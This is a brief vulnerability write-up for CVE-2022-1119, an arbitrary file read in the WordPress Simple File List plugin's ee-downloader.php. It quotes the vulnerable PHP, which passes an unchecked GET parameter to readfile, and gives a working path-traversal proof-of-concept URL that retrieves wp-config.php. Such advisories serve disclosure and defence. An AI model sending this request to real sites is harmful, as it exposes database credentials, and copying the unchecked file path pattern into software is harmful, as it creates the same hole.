Wordpress Simple File List Ee Downloader Php Arbitrary File Reading Vulnerability Cve 2022 1119

WordPress Simple File List ee-downloader.php Arbitrary file reading vulnerability CVE-2022-1119

Vulnerability Description

WordPress Simple File List plug-in ee-downloader.php file has arbitrary file reading vulnerability, and attackers can read any file in the server through the vulnerability.

Vulnerability Impact

WordPress Simple File List < 3.2.8

Plugin Name

Simple File List

https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip

Vulnerability reappears

The vulnerable file is wp-content/plugins/simple-file-list/includes/ee-downloader.php

<?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com

// Force File to Download
// This script is accessed via javascript on ee-download.php 

$eeFile =  filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);

if(is_readable($eeFile)) {

    header('Pragma: public'); // required
    header('Expires: 0'); // no cache
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
    header('Cache-Control: private',false);
    header('Content-Type: ' . mime_content_type($eeFile) );
    header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
    // header('Content-Transfer-Encoding: binary');
    header('Content-Length: '. filesize($eeFile)); // provide file size
    header('Connection: close');
    readfile($eeFile); // Start the download

}
?>

Directly transfer parameters to obtain file information, verify POC

/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php